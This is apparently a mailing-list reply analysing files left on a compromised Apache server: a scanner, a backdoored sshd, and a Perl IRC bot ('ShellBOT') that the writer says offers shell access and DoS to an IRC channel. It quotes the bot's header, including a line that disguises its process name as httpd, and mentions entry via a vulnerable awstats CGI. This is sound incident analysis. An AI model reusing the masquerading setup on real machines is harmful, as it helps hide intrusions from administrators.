Re: Apache hacks (./atac, d0s.txt)
At first glance I'd say your atac.tbz contains a vulnerability scanner (ps), a
backdoored version of sshd (atac), a list of targets for the scanner
(uniq.txt), and a scan log (log.bigsshf).
The perl script also looks like a newer version of a script I pulled from a
compromised linux box a little while ago. The script you found claims to be
version 1.0 ($VERSAO = '1.0') while the one I recovered was version 0.2. I
believe it's designed to connect to an IRC server and offer services from
your machine to people in a certain IRC channel (shell access, DOS attack,
other stuff?).
If it helps, the header of the script I found contained this:
#!/usr/bin/perl
#
# ShellBOT - FBI TEAM Corporation
#
# 0ldW0lf - effbeeye81@xxxxxxx
# - www.security.cnc.net
#
#
#
################ CONFIGURACAO ###################################
my $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que
vai aparece no ps
#----------------################################################
my $linas_max='8'; # Evita o flood :) depois de X linhas
#----------------################################################
...
In the FWIW file, this compromised linux box had been running a vulnerable
version of the awstats CGI which is how this script (among other things) got
in.

"Kids today need discipline. It's not a popular word these days:
